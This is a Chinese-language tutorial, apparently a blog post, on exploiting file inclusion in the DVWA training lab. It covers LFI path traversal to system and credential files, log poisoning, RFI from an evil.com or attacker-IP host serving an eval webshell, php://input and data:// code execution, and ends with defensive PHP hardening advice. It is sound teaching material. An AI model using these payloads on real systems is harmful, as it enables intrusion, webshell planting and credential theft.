公司动态

DVWA文件包含漏洞实战:从原理到GetShell的完整攻防演练

📅 2026/7/29 12:46:01
DVWA文件包含漏洞实战:从原理到GetShell的完整攻防演练
1. 项目概述一次从配置到利用的完整攻防演练最近在带新人做安全渗透测试的入门练习发现很多朋友对“文件包含漏洞”这个概念的理解还停留在理论层面知道它危险但具体怎么利用、为什么能利用尤其是从环境配置到最终拿到服务器权限GetShell的完整链条往往一知半解。这就像知道一把锁的钥匙孔在哪却不知道怎么配钥匙、怎么开锁。今天我就以最经典的Web安全靶场DVWADamn Vulnerable Web Application为例带大家手把手走一遍文件包含漏洞的实战流程。这不仅仅是点几下鼠标更重要的是理解每一步背后的原理和逻辑比如那个关键的allow_url_include配置它到底扮演了什么角色为什么关闭了它很多攻击手法就失效了我们这次的目标很明确在DVWA的“File Inclusion”模块下从漏洞发现开始一步步分析、利用最终实现GetShell并理解其中涉及的所有技术细节和防御思路。无论你是刚入门的安全爱好者还是想巩固基础的从业者这篇实战记录都能给你提供一个清晰的、可复现的路径。2. 环境准备与漏洞原理深度剖析2.1 DVWA靶场环境搭建要点工欲善其事必先利其器。DVWA靶场是我们这次演练的“战场”它的搭建看似简单但有几个细节直接关系到后续漏洞能否成功复现。我推荐在Kali Linux或一台安装了PHP集成环境如XAMPP、PHPStudy的Windows/Mac机器上部署。这里以PHPStudy为例因为它在Windows下配置起来最直观。首先从DVWA官网或GitHub下载最新源码解压到你的Web服务器根目录例如PHPStudy的www目录。接着重命名config/config.inc.php.dist为config.inc.php并编辑它。最关键的是数据库配置部分确保$_DVWA[ db_user ]和$_DVWA[ db_password ]与你本地MySQL的账号密码匹配。完成这些后通过浏览器访问DVWA的安装页面通常是http://localhost/DVWA/setup.php点击页面底部的“Create / Reset Database”按钮。如果一切顺利你会看到数据库成功创建的提示。注意很多新手在这一步会遇到“数据库连接失败”的错误。除了检查账号密码请务必确认你的MySQL服务已经启动并且PHP的mysqli扩展已启用在PHPStudy的“其他选项菜单”-“PHP扩展”中可以勾选。登录默认账号是admin密码是password。首次登录后务必在左侧导航栏找到“DVWA Security”页面将安全等级设置为“Low”。这是为了关闭DVWA内置的大部分防护机制让我们能够专注于漏洞原理本身而不是绕过各种过滤。完成这一步我们的靶场才算真正就绪。2.2 文件包含漏洞的核心原理与分类文件包含漏洞本质上是一种代码注入。它允许攻击者将服务器上的本地文件Local File Inclusion, LFI或远程文件Remote File Inclusion, RFI作为代码包含并执行。在PHP中这通常通过include()、require()、include_once()、require_once()这几个函数实现。为什么这很危险因为开发者原本的意图可能是包含一些可重用的模板或配置文件比如include(‘header.php’)。但如果这个文件路径例如header.php是通过用户输入的参数动态拼接的并且没有经过严格的过滤攻击者就可以通过控制这个参数让服务器去包含并执行任意文件。举个例子假设有一段代码如下?php $page $_GET[‘page’]; include(‘/templates/’ . $page . ‘.php’); ?开发者期望用户访问?pagehome最终包含/templates/home.php。但如果攻击者提交?page../../../../etc/passwd经过路径拼接就可能尝试包含系统的/etc/passwd文件造成敏感信息泄露。这就是本地文件包含LFI。更危险的是远程文件包含RFI。如果PHP配置不当特别是allow_url_include设置为On攻击者可以提交一个指向远程服务器上恶意脚本的URL例如?pagehttp://evil.com/shell.txt。服务器会去请求这个URL并将返回的内容恶意代码当作PHP代码执行从而直接在目标服务器上植入Webshell。DVWA的File Inclusion模块就是模拟了这种存在缺陷的代码逻辑为我们提供了绝佳的实验环境。理解LFI和RFI的区别是理解后续所有利用手法的基石。2.3 关键PHP配置allow_url_include与allow_url_fopen在RFI攻击中有两个PHP配置指令扮演着“守门人”的角色它们就是allow_url_fopen和allow_url_include。很多人容易混淆它们这里必须讲清楚。allow_url_fopen这个配置默认为On。它决定了PHP的文件系统函数如fopen()、file_get_contents()是否允许打开远程URL如http://、ftp://作为文件资源。简单说它控制PHP能否“读取”远程文件。allow_url_include这个配置默认为Off。它决定了include、require等文件包含函数是否允许包含远程URL。它控制PHP能否将远程文件的内容“当作代码执行”。两者的关系是allow_url_include依赖于allow_url_fopen。即使allow_url_include设置为On如果allow_url_fopen是OffPHP也无法通过网络获取远程文件的内容RFI自然无法成功。反过来如果allow_url_fopen是On而allow_url_include是OffPHP可以读取远程文件但不能将其作为代码执行远程文件的内容会被当作普通文本或数据。在实战中现代PHP版本出于安全考虑默认关闭了allow_url_include。这使得“纯”RFI攻击场景大大减少。但LFI漏洞依然普遍并且可以通过各种技巧“升级”为代码执行我们后面会详细讲。在DVWA的Low安全级别下为了演示完整的RFI通常模拟了allow_url_includeOn的环境。你可以通过创建一个info.php文件内容为?php phpinfo();?在DVWA中访问来查看具体的PHP配置情况。3. DVWA文件包含漏洞实战利用流程3.1 漏洞点定位与初步探测登录DVWA将安全级别调至Low然后访问“File Inclusion”模块。页面通常会显示一个下拉菜单或链接让你选择包含file1.php、file2.php或file3.php。查看浏览器地址栏你会发现URL类似于http://localhost/DVWA/vulnerabilities/fi/?pagefile1.php。这里的page参数就是我们的突破口。第一步是测试参数是否真的存在文件包含漏洞。尝试修改page参数的值。将file1.php改为../../../../etc/passwdLinux系统或../../../../windows/win.iniWindows系统。如果页面内容发生了改变显示了系统文件的内容那么恭喜你一个典型的LFI漏洞被证实了。实操心得在测试路径遍历时../的数量需要不断尝试。因为Web应用的根目录/var/www/html和操作系统的根目录/之间可能有多层目录。从../开始逐步增加直到读取到目标文件或返回错误为止。这是一个“猜”的过程有时需要结合报错信息来判断当前路径。如果LFI测试成功接下来可以测试RFI。你需要准备一台具有公网IP的服务器或者在同一内网的另一台机器上在上面放置一个简单的文本文件内容为?php phpinfo();?确保可以通过http://your-ip/test.txt直接访问到。然后在DVWA的page参数中尝试输入这个完整的URL。如果页面显示了PHP信息配置页说明RFI漏洞也存在且allow_url_include配置是开启的。3.2 利用LFI读取敏感信息与日志注入在确认LFI漏洞后即使无法直接RFI我们也有多种方法“搞事情”。首要目标就是读取服务器上的敏感文件获取进一步渗透的线索。1. 敏感文件枚举这就像在别人的房子里翻找钥匙和日记。我们可以利用LFI尝试读取以下常见文件Linux系统/etc/passwd查看系统用户列表。/etc/shadow存储用户密码哈希通常需要root权限。~/.bash_history当前用户的历史命令可能包含密码、路径等敏感信息。/proc/self/environ当前进程的环境变量可能包含数据库密码、密钥等。/var/log/apache2/access.log或/var/log/nginx/access.logWeb访问日志。Windows系统C:\windows\system32\drivers\etc\hostsC:\windows\win.iniApache日志路径可能为C:\xampp\apache\logs\access.log。2. 日志文件注入Log Poisoning这是将LFI升级为代码执行的最经典技巧之一。原理是Web服务器如Apache、Nginx会将所有的HTTP请求记录在访问日志中。如果我们能通过LFI包含这个日志文件并且我们又能控制发送到服务器的请求内容那么我们就可以将PHP代码“注入”到日志文件里再通过LFI去包含执行它。具体步骤第一步找到日志路径。通过LFI漏洞或经验猜测确定Web访问日志的绝对路径例如/var/log/apache2/access.log。第二步污染日志。使用Burp Suite、curl或浏览器插件向DVWA发送一个特殊的HTTP请求。这个请求的某个部分如User-Agent头部包含我们的PHP代码。curl -A “?php system(‘whoami’); ?” http://localhost/DVWA/这条命令会以包含PHP代码的User-Agent访问网站主页该代码会被原封不动地记录到access.log中。第三步通过LFI执行。回到DVWA的文件包含漏洞点将page参数设置为日志文件路径如../../../../var/log/apache2/access.log。当服务器包含这个日志文件时其中的?php system(‘whoami’); ?就会被当作PHP代码执行页面上可能会显示出Web服务运行的用户名如www-data。注意事项日志文件通常很大包含它可能导致页面加载缓慢或超时。有时需要多次尝试或等待日志滚动。另外现代Web应用或服务器配置可能会对日志中的特殊字符进行编码导致注入失败。这是一种需要耐心和技巧的方法。3.3 利用RFI直接GetShell如果环境允许RFI即allow_url_includeOn那么GetShell就变得直接很多。我们无需依赖服务器上已有的文件可以直接“运”一个Webshell上来。1. 准备远程Webshell在你的公网服务器假设IP为192.168.1.100的Web目录下创建一个文件比如shell.txt。内容可以是一个简单的PHP一句话木马?php eval($_POST[‘cmd’]);?确保可以通过http://192.168.1.100/shell.txt正常访问到这个文件。2. 执行RFI攻击在DVWA的page参数中直接输入这个URLhttp://192.168.1.100/shell.txt。提交后如果页面没有报错看起来可能和正常页面一样甚至是一片空白。这通常意味着远程文件已被包含并执行但由于我们的shell代码只是定义了函数没有输出所以页面无显示。3. 连接Webshell此时你的shell.txt中的代码已经在目标服务器的DVWA上下文中执行了。你可以使用中国蚁剑AntSword、冰蝎Behinder或简单的HackBar等工具来连接这个Webshell。连接URL就是存在漏洞的页面地址http://localhost/DVWA/vulnerabilities/fi/密码或参数名就是你在shell代码中定义的cmd即$_POST[‘cmd’]。在工具中你可以发送POST请求例如cmdsystem(‘whoami’);服务器就会执行whoami命令并将结果返回给你从而验证Webshell是否生效。一旦连接成功你就获得了在该Web服务器进程权限下执行系统命令的能力实现了GetShell。3.4 利用PHP封装协议进行高级利用即使allow_url_include被关闭PHP内置的一些“封装协议”Wrapper也能在LFI场景下大放异彩它们提供了访问各种输入/输出流的接口。最常用的就是php://filter和php://input。1. 使用php://filter读取源码这个协议主要用于读取文件源码特别是在无法直接看到.php文件内容时。它可以通过过滤器对数据进行编码帮助我们绕过一些限制。 例如想读取index.php的源码但直接包含只会执行它。我们可以这样利用pagephp://filter/convert.base64-encode/resourceindex.php这个Payload会让PHP先读取index.php的内容然后经过base64-encode过滤器编码最后输出。我们在页面上看到的就是一串Base64编码的字符串将其解码即可得到原始的PHP源代码。这对于代码审计、寻找其他漏洞至关重要。2. 使用php://input执行代码这个协议允许你读取POST请求的原始数据体作为输入。这为我们在allow_url_includeOff时执行代码提供了可能。第一步将page参数设置为php://input。第二步将HTTP请求方法改为POST。第三步在POST数据体中直接写入要执行的PHP代码例如?php system(‘ls -la’);?。第四步发送请求。服务器会包含php://input这个“文件”其内容就是我们POST过去的代码从而执行ls -la命令。重要提示php://input的使用有一个重要前提allow_url_include设置实际上并不影响php://和file://等协议的访问但它会影响php://input用于包含时的行为吗根据PHP官方文档和实际测试php://input在allow_url_include关闭时仍然可以与include()等函数一起使用来读取POST数据但将其作为代码执行的能力可能受到allow_url_include的影响。在某些PHP版本和配置下即使allow_url_includeOff通过php://input包含并执行代码也是可行的这使其成为非常强大的利用手段。不过enable_post_data_reading配置必须为On默认是。3. 使用data://协议构造代码执行data://协议同样可以用来直接包含代码。它的格式是data://text/plain;base64,后跟Base64编码的代码。例如pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg就是?php system(‘whoami’);?的Base64编码。但是data://协议的使用明确要求allow_url_include必须为On。因此在它关闭时此方法无效。4. 漏洞防御与安全开发实践4.1 安全配置关闭危险开关从防御角度第一步就是收紧PHP的配置从根本上杜绝高风险攻击向量。将allow_url_include设置为Off这是最重要的措施可以完全阻断远程文件包含RFI攻击。在php.ini文件中找到该行并修改allow_url_include Off将allow_url_fopen设置为Off虽然这可能会影响一些需要读取远程资源的合法功能但从安全最大化角度考虑建议关闭。如果业务必须使用应确保其与allow_url_includeOff配合。配置open_basedir该指令将PHP可访问的文件限制在指定的目录树中。例如设置为Web根目录open_basedir /var/www/html这样即使存在LFI攻击者也无法跳出Web目录去读取/etc/passwd等系统文件。关闭错误回显在生产环境中将display_errors设置为Off防止路径、代码等敏感信息通过报错泄露给攻击者。4.2 安全编码白名单与严格过滤安全的代码是防御的基石。对于文件包含功能应遵循以下原则使用白名单机制这是最有效的方法。预先定义好允许包含的文件列表如[‘home.php’, ‘about.php’, ‘contact.php’]用户输入只能从这个列表中选取。$allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/error.php’); }避免动态包含如果可能尽量不要让用户输入直接或间接参与文件路径的拼接。严格过滤输入如果必须使用动态路径应对输入进行严格检查和过滤。使用basename()函数去除路径中的目录部分只保留文件名。或者确保输入中不包含目录遍历字符../、..\和空字节%00在PHP旧版本中可用于截断。设置文件包含目录使用set_include_path()限制包含文件的搜索范围。4.3 运维加固纵深防御体系在应用层之外运维层面的加固能提供纵深防御Web服务器权限控制运行Web服务如www-data、nginx用户的进程账号应具有最小权限。确保其无法读取Web目录之外的敏感文件更不能写入。定期更新与审计保持PHP、Web服务器及所有组件的最新版本及时修补已知漏洞。定期对代码进行安全审计特别是存在文件操作、命令执行、数据库交互的地方。部署WAF在应用前端部署Web应用防火墙WAF可以有效地拦截常见的文件包含攻击Payload为修复漏洞争取时间。5. 实战中常见问题与排查技巧在复现和利用文件包含漏洞时你肯定会遇到各种“坑”。这里记录了几个最常见的问题和我的解决思路。问题1包含日志文件时PHP代码不执行而是以纯文本形式显示在页面上。原因分析这通常是因为服务器在将请求写入日志时对特殊字符如、进行了HTML实体转义例如将转成lt;。或者包含日志文件时其内容被当作文本处理而非PHP代码。排查技巧首先直接访问日志文件查看你注入的Payload是否被原样记录还是被转义了。如果被转义尝试其他可能不被转义的字段进行注入比如Referer头或者某些应用自定义的头部。其次确保你包含的是正确的日志文件access.log而非error.log。最后可以尝试在Payload前后添加PHP标签闭合与开启以“唤醒”解析例如在User-Agent中注入?和?php system(‘id’); ?但这需要一定的运气和技巧。问题2使用php://input执行命令时返回空白或报错。原因分析可能的原因有1)allow_url_include虽不影响php://input读取数据但某些安全配置或WAF规则阻止了其用于包含执行2) POST数据格式不正确3) 目标PHP版本或SAPI如PHP-FPM对php://input的支持有差异。排查技巧首先使用php://filter协议确认漏洞存在且路径可控。然后检查POST请求的Content-Type有时需要设置为application/x-www-form-urlencoded但直接发送原始PHP代码时保持默认或使用text/plain也可能成功。最重要的是确保你的POST数据体里是完整的、可执行的PHP代码块例如?php echo shell_exec(‘whoami’); ?。如果还是不行可以尝试在代码开头添加%00空字节或换行符有时能绕过简单的过滤。问题3在Windows系统上测试DVWALFI读取文件失败。原因分析Windows和Linux的路径分隔符和文件系统结构不同。../../这样的Unix风格路径在Windows上可能无法正确解析。Windows的绝对路径以盘符开头如C:\。排查技巧尝试使用Windows风格的路径遍历例如....\....\....\windows\win.ini。注意在URL中反斜杠\可能需要编码或使用正斜杠/Windows的API通常也接受正斜杠。也可以尝试使用file://协议指定绝对路径如file:///C:/windows/win.ini。同时注意Windows下Web根目录的深度可能需要调整../的数量。问题4RFI攻击失败页面提示“URL file-access is disabled”或类似错误。原因分析这是最明确的信号表明allow_url_include和/或allow_url_fopen被设置为Off。排查技巧此时应放弃纯RFI思路转向LFI利用技巧如日志注入、php://input、php://filter读取源码、或利用/proc/self/environ等文件。首先通过php://filter读取漏洞点附近的PHP源码检查代码逻辑看是否有过滤或拼接后缀等操作这会影响你的Payload构造。问题5包含文件后页面布局错乱看不到想要的输出。原因分析被包含的文件如日志、配置文件本身包含大量HTML、文本数据这些内容被直接输出到页面中冲垮了原有的页面结构。排查技巧使用浏览器的“查看页面源代码”功能CtrlU。你注入的代码执行结果很可能隐藏在混乱的HTML源码之中。此外在注入命令时尽量使用有明确输出的命令如echo ‘SUCCESS’; system(‘whoami’);便于在源码中搜索定位。文件包含漏洞的利用就像一场与系统配置和代码逻辑的“对话”需要耐心、细致的观察和不断的尝试。每一次失败的错误信息都可能成为你下一步成功的线索。理解原理灵活运用各种技巧才能在各种限制下找到突破口。